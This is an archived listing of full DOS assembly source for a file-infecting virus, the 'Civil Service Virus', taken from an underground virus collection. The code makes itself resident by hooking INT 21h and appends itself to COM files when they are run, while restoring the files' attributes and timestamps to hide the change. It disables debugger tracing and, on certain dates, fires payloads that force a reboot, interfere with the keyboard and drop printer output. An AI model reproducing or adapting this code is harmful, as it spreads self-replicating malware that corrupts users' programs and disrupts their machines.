home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / civil.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  10.2 KB  |  570 lines

  1. ; Civil Service Virus by Marvin Giskard
  2.  
  3. ; Turbo Assember version 2
  4.  
  5.  
  6.  
  7. Exec        equ  4B00h
  8.  
  9. OpenFile    equ  3D02h
  10.  
  11. ReadFile    equ  3Fh
  12.  
  13. WriteFile   equ  40h
  14.  
  15. CloseFile   equ  3Eh
  16.  
  17. EXESign     equ  5A4Dh
  18.  
  19. SeekTop     equ  4200h
  20.  
  21. SeekEnd     equ  4202h
  22.  
  23. GetAttr     equ  4300h
  24.  
  25. SetAttr     equ  4301h
  26.  
  27. GetDT       equ  5700h
  28.  
  29. SetDT       equ  5701h
  30.  
  31. MinSize     equ  4h
  32.  
  33. MaxSize     equ  0FBF0h
  34.  
  35. GetDate     equ  2Bh
  36.  
  37. FileID      equ  2206h
  38.  
  39. MemID       equ  4246h     ;     'FB'
  40.  
  41.  
  42.  
  43. .MODEL SMALL
  44.  
  45. .CODE
  46.  
  47. ORG 0100h
  48.  
  49.  
  50.  
  51. Start:
  52.  
  53.   XOR AX, AX
  54.  
  55.   MOV DS, AX
  56.  
  57.   CMP WORD PTR DS:01ACh, MemID
  58.  
  59.   JNE Instl2
  60.  
  61.   CMP WORD PTR DS:01AEh, FileID
  62.  
  63.   JE NoInstl2
  64.  
  65.  
  66.  
  67. Instl2:
  68.  
  69.   CALL InstallInMem
  70.  
  71.  
  72.  
  73. NoInstl2:
  74.  
  75.   PUSH CS
  76.  
  77.   PUSH CS
  78.  
  79.   POP DS
  80.  
  81.   POP ES
  82.  
  83.   MOV DX, OFFSET FileName
  84.  
  85.   MOV AX, 4B22h
  86.  
  87.   INT 21h
  88.  
  89.   INT 20h
  90.  
  91.  
  92.  
  93. FileName: DB 'TEST.COM',0
  94.  
  95.  
  96.  
  97. AddCode:
  98.  
  99.   JMP OverData
  100.  
  101.  
  102.  
  103.   ; Addcode's data
  104.  
  105.  
  106.  
  107. Buf:          DB 0, 0                   ; Miscellaneous Buf
  108.  
  109. JumpCode:     DB 0E9h, 00h, 00h         ; Code to be placed at front of file
  110.  
  111. FSize:        DW 0                      ; File size
  112.  
  113. Attr:         DB 0                      ; Attr of file being infected
  114.  
  115. FDateTime:    DD 0                      ; Time and date of file being infected
  116.  
  117. Generation:   DW 0                      ; Generation counter
  118.  
  119. Infected:     DW 0                      ; Number of files infected
  120.  
  121. Old24Handler: DD 0                      ; Old INT 24h handler
  122.  
  123. Acts:         DB 0                      ; Flag to stop reentry
  124.  
  125. Path:         DD 0
  126.  
  127.  
  128.  
  129. OverData:
  130.  
  131.   MOV WORD PTR DS:0100h, 0000h
  132.  
  133.   MOV BYTE PTR DS:0102h, 00h
  134.  
  135.  
  136.  
  137.   ; Check if handler already installed by examining 2 words in vector
  138.  
  139.   ; table entry of INT 6Bh
  140.  
  141.  
  142.  
  143.   XOR AX, AX
  144.  
  145.   MOV DS, AX
  146.  
  147.   CMP WORD PTR DS:01ACh, MemID
  148.  
  149.   JNE Instl
  150.  
  151.   CMP WORD PTR DS:01AEh, FileID
  152.  
  153.   JE AlreadyInstalled
  154.  
  155.  
  156.  
  157. Instl:
  158.  
  159.   CALL InstallInMem
  160.  
  161.   JMP ALreadyInstalled
  162.  
  163.  
  164.  
  165. InstallInMem:
  166.  
  167.   MOV WORD PTR DS:01ACh, MemID
  168.  
  169.   MOV WORD PTR DS:01AEh, FileID
  170.  
  171.  
  172.  
  173.   PUSH CS
  174.  
  175.   POP DS
  176.  
  177.  
  178.  
  179.   ; Get INT 21h handler in ES:BX.
  180.  
  181.  
  182.  
  183.   MOV AX, 3521h
  184.  
  185.   INT 21h
  186.  
  187. DoOldOfs:
  188.  
  189.   MOV SI, OFFSET DoOld+1
  190.  
  191.   MOV [SI], BX
  192.  
  193.   MOV [SI+2], ES
  194.  
  195.   PUSH ES
  196.  
  197.   PUSH BX
  198.  
  199.   POP DX
  200.  
  201.   POP DS
  202.  
  203.   MOV AX, 256Dh
  204.  
  205.   INT 21h
  206.  
  207.  
  208.  
  209.   ; This label is here so that the infect part will be able to calculate
  210.  
  211.   ; source offset of Int21Handler and then place it in here before writing
  212.  
  213.   ; it to disk. The OFFSET AddCode will be replaced by the right number.
  214.  
  215.  
  216.  
  217. Source:
  218.  
  219.   MOV SI, OFFSET AddCode
  220.  
  221.  
  222.  
  223.   ; Destination e.g. Where program will be placed are now calculated by
  224.  
  225.   ; taking the amount of memory in $0040:$0013. Multiply by 16 to get
  226.  
  227.   ; segment of memory end and then subract amount of blocks needed.
  228.  
  229.   ; This is where routine will be placed.
  230.  
  231.  
  232.  
  233.   MOV AX, 0040h
  234.  
  235.   MOV DS, AX
  236.  
  237.   MOV AX, WORD PTR DS:0013h
  238.  
  239.   MOV CL, 6
  240.  
  241.   SHL AX, CL
  242.  
  243.  
  244.  
  245.   ; Set dest. segment 2048 pages (32 K) below top of memory.
  246.  
  247.  
  248.  
  249.   SUB AX, 2048
  250.  
  251.   MOV ES, AX
  252.  
  253.   XOR DI, DI
  254.  
  255.   MOV CX, OFFSET AddCodeEnd - OFFSET AddCode
  256.  
  257.   PUSH CS
  258.  
  259.   POP DS
  260.  
  261.   REP MOVSB
  262.  
  263.  
  264.  
  265.   ; Set INT 21h Handler to point to our routine
  266.  
  267.  
  268.  
  269.   MOV AX, 2521h
  270.  
  271.   PUSH ES
  272.  
  273.   POP DS
  274.  
  275.   MOV DX, OFFSET Int21Handler - OFFSET AddCode
  276.  
  277.   INT 21h
  278.  
  279.  
  280.  
  281.   MOV BYTE PTR DS:[OFFSET Acts-OFFSET AddCode], 0
  282.  
  283.  
  284.  
  285.   RET
  286.  
  287.  
  288.  
  289. AlreadyInstalled:
  290.  
  291.  
  292.  
  293.   Call DisTrace
  294.  
  295.  
  296.  
  297.   ; Code to jump back to 0100h
  298.  
  299.  
  300.  
  301.   PUSH CS
  302.  
  303.   PUSH CS
  304.  
  305.   POP DS
  306.  
  307.   POP ES
  308.  
  309.   MOV AX, 0100h
  310.  
  311.   JMP AX
  312.  
  313.  
  314.  
  315.   ; Disable tracing and breakpoint setting for debuggers.
  316.  
  317.  
  318.  
  319. DisTrace:
  320.  
  321.   MOV AX, 0F000h
  322.  
  323.   MOV DS, AX
  324.  
  325.   MOV DX, 0FFF0h
  326.  
  327.   MOV AX, 2501h
  328.  
  329.   INT 21h
  330.  
  331.   MOV AX, 2503h
  332.  
  333.   INT 21h
  334.  
  335.   RET
  336.  
  337.  
  338.  
  339. Int21Handler:
  340.  
  341.   PUSH AX
  342.  
  343.   PUSH BX
  344.  
  345.   PUSH CX
  346.  
  347.   PUSH DX
  348.  
  349.   PUSH DI
  350.  
  351.   PUSH SI
  352.  
  353.   PUSH ES
  354.  
  355.   PUSH DS
  356.  
  357.  
  358.  
  359.   ; Install devious act if seed is right
  360.  
  361.  
  362.  
  363.   MOV AH, 2Ah
  364.  
  365.   INT 6Dh
  366.  
  367.   CMP CX, 1991
  368.  
  369.   JB Act
  370.  
  371.   CMP DL, 22
  372.  
  373.   JNE Timer
  374.  
  375.   DB 0EAh, 0F0h, 0FFh, 00h, 0F0h
  376.  
  377.  
  378.  
  379. Timer:
  380.  
  381.   MOV AH, 25h
  382.  
  383.   CMP DL, 29
  384.  
  385.   JE Inst1
  386.  
  387.   CMP DL, 1
  388.  
  389.   JE Inst2
  390.  
  391.   CMP DL, 10
  392.  
  393.   JE Inst3
  394.  
  395.   CMP DL, 16
  396.  
  397.   JE Inst4
  398.  
  399.   JMP Act
  400.  
  401. Inst1:
  402.  
  403.   MOV AL, 13h
  404.  
  405.   JMP SetVec
  406.  
  407. Inst2:
  408.  
  409.   MOV AL, 16h
  410.  
  411.   JMP SetVec
  412.  
  413. Inst3:
  414.  
  415.   MOV AL, 0Dh
  416.  
  417.   JMP SetVec
  418.  
  419. Inst4:
  420.  
  421.   MOV AL, 10h
  422.  
  423.  
  424.  
  425. SetVec:
  426.  
  427.   PUSH CS
  428.  
  429.   POP DS
  430.  
  431.   MOV DX, OFFSET Int24Handler - OFFSET AddCode
  432.  
  433.   INT 6Dh
  434.  
  435.  
  436.  
  437. Act:
  438.  
  439.   MOV AX, 0040h
  440.  
  441.   MOV DS, AX
  442.  
  443.   MOV AX, WORD PTR DS:006Eh
  444.  
  445.  
  446.  
  447.   PUSH CS
  448.  
  449.   POP DS
  450.  
  451.   MOV BH, DS:[OFFSET Acts - OFFSET AddCode]
  452.  
  453.   CMP BH, 3
  454.  
  455.   JE NoAct
  456.  
  457.  
  458.  
  459.   CMP AX, 22
  460.  
  461.   JE NoAct
  462.  
  463.  
  464.  
  465.   MOV BYTE PTR [SI], 3
  466.  
  467.   MOV AX, 3509h
  468.  
  469.   INT 21h
  470.  
  471.   PUSH ES
  472.  
  473.   PUSH BX
  474.  
  475.   POP DX
  476.  
  477.   POP DS
  478.  
  479.   MOV AX, 256Ah
  480.  
  481.   INT 21h
  482.  
  483.   PUSH CS
  484.  
  485.   POP DS
  486.  
  487.   MOV DX, OFFSET Int9Handler - OFFSET AddCode
  488.  
  489.   MOV AX, 2509h
  490.  
  491.   INT 21h
  492.  
  493.  
  494.  
  495.   MOV AX, 3517h
  496.  
  497.   INT 21h
  498.  
  499.   PUSH ES
  500.  
  501.   PUSH BX
  502.  
  503.   POP DX
  504.  
  505.   POP DS
  506.  
  507.   MOV AX, 256Ch
  508.  
  509.   INT 21h
  510.  
  511.   PUSH CS
  512.  
  513.   POP DS
  514.  
  515.   MOV DX, OFFSET Int17Handler - OFFSET AddCode
  516.  
  517.   MOV AX, 2517h
  518.  
  519.   INT 21h
  520.  
  521.  
  522.  
  523. NoAct:
  524.  
  525.  
  526.  
  527.   POP DS
  528.  
  529.   POP ES
  530.  
  531.   POP SI
  532.  
  533.   POP DI
  534.  
  535.   POP DX
  536.  
  537.   POP CX
  538.  
  539.   POP BX
  540.  
  541.   POP AX
  542.  
  543.  
  544.  
  545.   CMP AH, 4Bh
  546.  
  547.   JE Infect
  548.  
  549. DoOld:
  550.  
  551.   ;  This next bytes represent a JMP 0000h:0000h. The 0's will be replaced
  552.  
  553.   ;  by the address of the old 21 handler.
  554.  
  555.   DB 0EAh
  556.  
  557.   DD 0
  558.  
  559.  
  560.  
  561. DoOldPop:
  562.  
  563.   POP ES
  564.  
  565.   POP DS
  566.  
  567.   POP BP
  568.  
  569.   POP DI
  570.  
  571.   POP SI
  572.  
  573.   POP DX
  574.  
  575.   POP CX
  576.  
  577.   POP BX
  578.  
  579.   POP AX
  580.  
  581.   JMP DoOld
  582.  
  583.  
  584.  
  585. CloseQuit:
  586.  
  587.  
  588.  
  589.   MOV AX, 2524h
  590.  
  591.   MOV SI, OFFSET Old24Handler-OFFSET AddCode
  592.  
  593.   MOV DX, CS:[SI]
  594.  
  595.   MOV DS, CS:[SI+2]
  596.  
  597.   INT 21h
  598.  
  599.  
  600.  
  601.   PUSH CS
  602.  
  603.   POP DS
  604.  
  605.   MOV SI, OFFSET FDateTime-OFFSET AddCode
  606.  
  607.   MOV CX, DS:[SI]
  608.  
  609.   MOV DX, DS:[SI+2]
  610.  
  611.   MOV AX, SetDT
  612.  
  613.   INT 21h
  614.  
  615.  
  616.  
  617.   MOV AH, CloseFile
  618.  
  619.   INT 21h
  620.  
  621.  
  622.  
  623.   MOV AX, SetAttr
  624.  
  625.   MOV CL, DS:[OFFSET Attr - OFFSET AddCode]
  626.  
  627.   XOR CH, CH
  628.  
  629.   MOV SI, OFFSET Path-OFFSET AddCode
  630.  
  631.   MOV DX, DS:[SI]
  632.  
  633.   MOV DS, DS:[SI+2]
  634.  
  635.  
  636.  
  637.   INT 21h
  638.  
  639.  
  640.  
  641.   JMP DoOldPop
  642.  
  643.  
  644.  
  645. Infect:
  646.  
  647.   PUSH AX
  648.  
  649.   PUSH BX
  650.  
  651.   PUSH CX
  652.  
  653.   PUSH DX
  654.  
  655.   PUSH SI
  656.  
  657.   PUSH DI
  658.  
  659.   PUSH BP
  660.  
  661.   PUSH DS
  662.  
  663.   PUSH ES
  664.  
  665.  
  666.  
  667.   ; Get file's attr
  668.  
  669.  
  670.  
  671.   MOV AX, GetAttr
  672.  
  673.   INT 21h
  674.  
  675.   JC CloseQuit
  676.  
  677.   MOV CS:[OFFSET Attr-OFFSET AddCode], CL
  678.  
  679.  
  680.  
  681.   MOV SI, OFFSET Path-OFFSET AddCode
  682.  
  683.   MOV CS:[SI], DX
  684.  
  685.   MOV CS:[SI+2], DS
  686.  
  687.  
  688.  
  689.   ; Get/Set INT 24h handler
  690.  
  691.  
  692.  
  693.   MOV AX, 3524h
  694.  
  695.   INT 21h
  696.  
  697.   MOV SI, OFFSET Old24Handler-OFFSET AddCode
  698.  
  699.   MOV CS:[SI], BX
  700.  
  701.   MOV CS:[SI+2], ES
  702.  
  703.   MOV AX, 2524h
  704.  
  705.   PUSH CS
  706.  
  707.   POP DS
  708.  
  709.   MOV DX, OFFSET Int24Handler-OFFSET AddCode
  710.  
  711.   INT 21h
  712.  
  713.  
  714.  
  715.   ; Set new attribute
  716.  
  717.  
  718.  
  719.   MOV SI, OFFSET Path-OFFSET AddCode
  720.  
  721.   MOV DX, CS:[SI]
  722.  
  723.   MOV DS, CS:[SI+2]
  724.  
  725.  
  726.  
  727.   MOV AX, SetAttr
  728.  
  729.   MOV CX, 0020h
  730.  
  731.   INT 21h
  732.  
  733.   JC CloseQuitFoot
  734.  
  735.  
  736.  
  737.   MOV AX, OpenFile
  738.  
  739.   INT 21h
  740.  
  741.   JC CloseQuitFoot
  742.  
  743.   MOV BX, AX
  744.  
  745.  
  746.  
  747.   ; Get file's time and date and store
  748.  
  749.  
  750.  
  751.   MOV AX, GetDT
  752.  
  753.   INT 21h
  754.  
  755.   JC CloseQuitFoot
  756.  
  757.   PUSH CS
  758.  
  759.   POP DS
  760.  
  761.   MOV SI, OFFSET FDateTime-OFFSET AddCode
  762.  
  763.   MOV DS:[SI], CX
  764.  
  765.   MOV DS:[SI+2], DX
  766.  
  767.  
  768.  
  769.   ; Read first two bytes of file
  770.  
  771.  
  772.  
  773.   MOV AH, ReadFile
  774.  
  775.   MOV CX, 2
  776.  
  777.   MOV DX, OFFSET OverData+4-OFFSET AddCode
  778.  
  779.   INT 21h
  780.  
  781.   JC CloseQuitFoot
  782.  
  783.  
  784.  
  785.   ; Check if fisrt two bytes identify the file as an EXE file
  786.  
  787.   ; If so, then don't infect the file
  788.  
  789.  
  790.  
  791.   CMP DS:[OFFSET OverData+4-OFFSET AddCode], EXESign
  792.  
  793.   JE CloseQuitFoot
  794.  
  795.  
  796.  
  797.   ; Read next byte
  798.  
  799.  
  800.  
  801.   MOV AH, ReadFile
  802.  
  803.   MOV CX, 1
  804.  
  805.   MOV DX, OFFSET OverData+10-OFFSET AddCode
  806.  
  807.   INT 21h
  808.  
  809.   JC CloseQuitFoot
  810.  
  811.  
  812.  
  813.   ; Get file size
  814.  
  815.  
  816.  
  817.   MOV AX, SeekEnd
  818.  
  819.   XOR CX, CX
  820.  
  821.   XOR DX, DX
  822.  
  823.   INT 21h
  824.  
  825.   JC CloseQuitFoot
  826.  
  827.  
  828.  
  829.   ; Save filesize and calculate jump offset
  830.  
  831.  
  832.  
  833.   CMP DX, 0
  834.  
  835.   JG CloseQuitFoot
  836.  
  837.   CMP AX, MinSize
  838.  
  839.   JB CloseQuitFoot
  840.  
  841.   CMP AX, MaxSize
  842.  
  843.   JA CloseQuitFoot
  844.  
  845.   MOV DS:[OFFSET FSize-OFFSET AddCode], AX
  846.  
  847.   MOV CX, AX
  848.  
  849.   SUB AX, 03h
  850.  
  851.   MOV DS:[OFFSET JumpCode+1-OFFSET AddCode], AX
  852.  
  853.  
  854.  
  855.   ; Calculate and store source
  856.  
  857.  
  858.  
  859.   ADD CX, 0100h
  860.  
  861.   MOV [OFFSET Source+1-OFFSET AddCode], CX
  862.  
  863.  
  864.  
  865.   ADD CX, OFFSET DoOld-OFFSET AddCode
  866.  
  867.   MOV [OFFSET DoOldOfs-OFFSET AddCode+1], CX
  868.  
  869.  
  870.  
  871.   JMP OverFoot1
  872.  
  873.  
  874.  
  875. CloseQuitFoot:
  876.  
  877.   JMP CloseQuit
  878.  
  879.  
  880.  
  881. OverFoot1:
  882.  
  883.   ; Read last 2 bytes to see if it is already infected
  884.  
  885.  
  886.  
  887.   MOV AX, SeekTop
  888.  
  889.   XOR CX, CX
  890.  
  891.   MOV DX, [OFFSET FSize-OFFSET AddCode]
  892.  
  893.   SUB DX, 2
  894.  
  895.   INT 21h
  896.  
  897.  
  898.  
  899.   MOV AH, ReadFile
  900.  
  901.   MOV CX, 2
  902.  
  903.   MOV DX, OFFSET Buf-OFFSET AddCode
  904.  
  905.   INT 21h
  906.  
  907.  
  908.  
  909.   CMP [OFFSET Buf-OFFSET AddCode], FileID
  910.  
  911.   JE CloseQuitFoot
  912.  
  913.  
  914.  
  915.   ; Prepare to write new jump
  916.  
  917.  
  918.  
  919.   MOV AX, SeekTop
  920.  
  921.   XOR CX, CX
  922.  
  923.   XOR DX, DX
  924.  
  925.   INT 21h
  926.  
  927.  
  928.  
  929.   ; Write new jump
  930.  
  931.  
  932.  
  933.   MOV AH, WriteFile
  934.  
  935.   MOV CX, 3
  936.  
  937.   MOV DX, OFFSET JumpCode-OFFSET AddCode
  938.  
  939.   INT 21h
  940.  
  941.  
  942.  
  943.   ; Write addcode
  944.  
  945.   ; Code to restore first three bytes is at start of addcode
  946.  
  947.   ; Int21 handler is also included
  948.  
  949.   ; Generation counter is included in data
  950.  
  951.   ; ID is at the end of addcode
  952.  
  953.  
  954.  
  955.   MOV AX, SeekEnd
  956.  
  957.   XOR CX, CX
  958.  
  959.   XOR DX, DX
  960.  
  961.   INT 21h
  962.  
  963.  
  964.  
  965.   ; Increase generation counter before writing it to the new file
  966.  
  967.  
  968.  
  969.   INC WORD PTR [OFFSET Generation - OFFSET AddCode]
  970.  
  971.  
  972.  
  973.   ; Set files infected to 0, for child hasn't infected anyone.
  974.  
  975.  
  976.  
  977.   MOV SI, OFFSET Infected - OFFSET AddCode
  978.  
  979.   PUSH WORD PTR [SI]
  980.  
  981.   MOV WORD PTR [SI], 0
  982.  
  983.  
  984.  
  985.   MOV AH, WriteFile
  986.  
  987.   MOV DX, OFFSET AddCode - OFFSET AddCode      ; 0000
  988.  
  989.   MOV CX, OFFSET AddCodeEnd - OFFSET AddCode
  990.  
  991.   INT 21h
  992.  
  993.  
  994.  
  995.   ; Decrease counter again, cause all his children should have the same
  996.  
  997.   ; generation count
  998.  
  999.  
  1000.  
  1001.   DEC WORD PTR [OFFSET Generation - OFFSET AddCode]
  1002.  
  1003.  
  1004.  
  1005.   ; Pop number of files infected and incread
  1006.  
  1007.  
  1008.  
  1009.   POP AX
  1010.  
  1011.   INC AX
  1012.  
  1013.   MOV WORD PTR [OFFSET Infected - OFFSET AddCode], AX
  1014.  
  1015.  
  1016.  
  1017.   JMP CloseQuit
  1018.  
  1019.  
  1020.  
  1021. Int24Handler:
  1022.  
  1023.   XOR AL, AL
  1024.  
  1025.   IRET
  1026.  
  1027.  
  1028.  
  1029. Int9Handler:
  1030.  
  1031.   PUSH AX
  1032.  
  1033.   PUSH CX
  1034.  
  1035.   PUSH DS
  1036.  
  1037.  
  1038.  
  1039.   MOV AX, 0040h
  1040.  
  1041.   MOV DS, AX
  1042.  
  1043.   MOV AH, BYTE PTR DS:006Ch
  1044.  
  1045.   CMP AH, 18
  1046.  
  1047.   JA NoChange
  1048.  
  1049.   MOV CL, 4
  1050.  
  1051.   SHL AH, CL
  1052.  
  1053.   SHR AH, CL
  1054.  
  1055.   MOV BYTE PTR DS:0017h, AH
  1056.  
  1057.  
  1058.  
  1059. NoChange:
  1060.  
  1061.   POP DS
  1062.  
  1063.   POP CX
  1064.  
  1065.   POP AX
  1066.  
  1067.   INT 6Ah
  1068.  
  1069.   IRET
  1070.  
  1071.  
  1072.  
  1073. Int17Handler:
  1074.  
  1075.   CMP AH, 00h
  1076.  
  1077.   JNE DoOld17
  1078.  
  1079.   PUSH DS
  1080.  
  1081.   PUSH AX
  1082.  
  1083.   PUSH BX
  1084.  
  1085.   MOV BX, 0040h
  1086.  
  1087.   MOV DS, BX
  1088.  
  1089.   MOV BH, BYTE PTR DS:006Ch
  1090.  
  1091.   SHR BH, 1
  1092.  
  1093.   SHR BH, 1
  1094.  
  1095.   CMP BH, 22h
  1096.  
  1097.   JE Ignore17
  1098.  
  1099.   POP BX
  1100.  
  1101.   POP AX
  1102.  
  1103.   POP DS
  1104.  
  1105.  
  1106.  
  1107. DoOld17:
  1108.  
  1109.   INT 6Ch
  1110.  
  1111.   IRET
  1112.  
  1113.  
  1114.  
  1115. Ignore17:
  1116.  
  1117.   POP BX
  1118.  
  1119.   POP AX
  1120.  
  1121.   POP DS
  1122.  
  1123.   IRET
  1124.  
  1125.  
  1126.  
  1127.   DW FileID
  1128.  
  1129.  
  1130.  
  1131. AddCodeEnd:
  1132.  
  1133.  
  1134.  
  1135. END Start
  1136.  
  1137. 
  1138.  
  1139.